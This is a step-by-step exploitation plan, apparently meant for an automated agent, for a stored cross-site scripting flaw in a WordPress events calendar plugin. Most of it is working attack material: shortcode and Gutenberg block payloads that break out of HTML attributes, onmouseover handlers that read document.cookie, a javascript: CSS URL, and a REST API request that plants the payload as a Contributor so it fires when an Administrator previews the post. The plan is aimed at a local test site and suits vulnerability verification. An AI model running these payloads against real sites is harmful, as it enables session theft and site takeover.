The Events Calendar Shortcode & Block <= 3.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan targets CVE-2026-24988, a Stored Cross-Site Scripting (XSS) vulnerability in "The Events Calendar Shortcode & Block" plugin.

---

1. Vulnerability Summary

The vulnerability exists in the way the plugin processes and renders attributes within its shortcodes (primarily [ecs-list-events]) and Gutenberg blocks. Specifically, attributes provided by a user (Contributor level or higher) are stored in the post content and subsequently rendered in the frontend or backend without sufficient sanitization or output escaping. This allows an attacker to "break out" of HTML attributes or tags to execute arbitrary JavaScript.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor (Gutenberg or Classic) / wp-json/wp/v2/posts.
• Vulnerable Component: The shortcode processing logic for [ecs-list-events] and the corresponding block renderer.
• HTTP Parameter: The content parameter of a post (containing the shortcode) or the attributes JSON in a Gutenberg block.
• Authentication: Authenticated, Contributor role or higher. Contributors can create posts and use shortcodes but cannot publish them. However, the XSS will execute for an Administrator previewing the post.
• Preconditions: The plugin "The Events Calendar Shortcode & Block" and its dependency "The Events Calendar" must be active.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in the main plugin file or an includes file:
   add_shortcode( 'ecs-list-events', array( $this, 'render_shortcode' ) );
2. Parsing: When a post is viewed or previewed, do_shortcode() calls the callback. The callback uses shortcode_atts() to merge user input with defaults:
   $atts = shortcode_atts( $defaults, $atts, 'ecs-list-events' );
3. The Sink: The $atts array is used to build HTML. If an attribute like design, view, or limit is used directly in an HTML string without esc_attr() or esc_html(), XSS occurs:
   $output .= '<div class="ecs-events-list ' . $atts['design'] . '">'; // VULNERABLE

4. Nonce Acquisition Strategy

This vulnerability does not require a specific plugin nonce because it exploits the standard post creation/editing flow.

1. The agent will log in as a Contributor.
2. The agent will use the standard WordPress REST API or the admin interface to create/edit a post.
3. The WordPress REST API requires a _wpnonce for requests, which can be extracted from the wp-admin dashboard or via browser_eval("wpApiSettings.nonce").

5. Exploitation Strategy

The goal is to inject a payload into a shortcode attribute that executes when the post is viewed.

Step 1: Identify Vulnerable Attributes
We will test common attributes for the [ecs-list-events] shortcode: design, limit, order, orderby, view.

Step 2: Construct Payloads

• Attribute Breakout (if injected in class/id): design='"><script>alert(document.domain)</script>'
• Event Handler Injection: limit='1" onmouseover="alert(1)" style="display:block;width:100%;height:100px;"'

Step 3: Execute HTTP Request (as Contributor)
The agent will create a post containing the payload.

• Method: POST
• URL: http://localhost:8080/wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [extracted_nonce]
• Body:

{
  "title": "XSS Test",
  "content": "[ecs-list-events design='\" onmouseover=\"alert(document.cookie)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;\" ']",
  "status": "draft"
}

Step 4: Trigger the XSS
Navigate to the post preview URL (returned in the REST response) using browser_navigate.

6. Test Data Setup

1. Users:
   • contributor_user (Role: Contributor)
   • admin_user (Role: Administrator)
2. Dependencies: Ensure "The Events Calendar" (slug: the-events-calendar) is installed and active, as this plugin is an extension of it.
3. Content: Create at least one dummy event in "The Events Calendar" so the shortcode actually attempts to render output.
   • wp event create --post_title="Dummy Event" --post_status=publish

7. Expected Results

• The HTTP request should return 201 Created.
• The HTML of the post preview should contain the unescaped payload:
  <div class="ecs-events-list " onmouseover="alert(document.cookie)" ...
• In the browser context, the alert or a custom window.exposed variable should be triggered.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the content was saved exactly as sent:
   wp post get [ID] --field=post_content
2. Frontend Inspection: Use http_request (GET) on the post URL and grep for the raw payload:
   http_request("GET", "http://localhost:8080/?p=[ID]&preview=true")
   Look for: onmouseover="alert(document.cookie)"

9. Alternative Approaches

• Gutenberg Block: If the shortcode is sanitized but the block is not, use the Block Editor format:

  <!-- wp:the-events-calendar-shortcode/block {"design":"\" onmouseover=\"alert(1)"} /-->
  

• Different Attributes: If design is sanitized, try title, message, or extraclass (common identifiers in this plugin's versions).
• CSS Injection: If <script> is blocked but attributes are not, use style="background:url(javascript:alert(1))".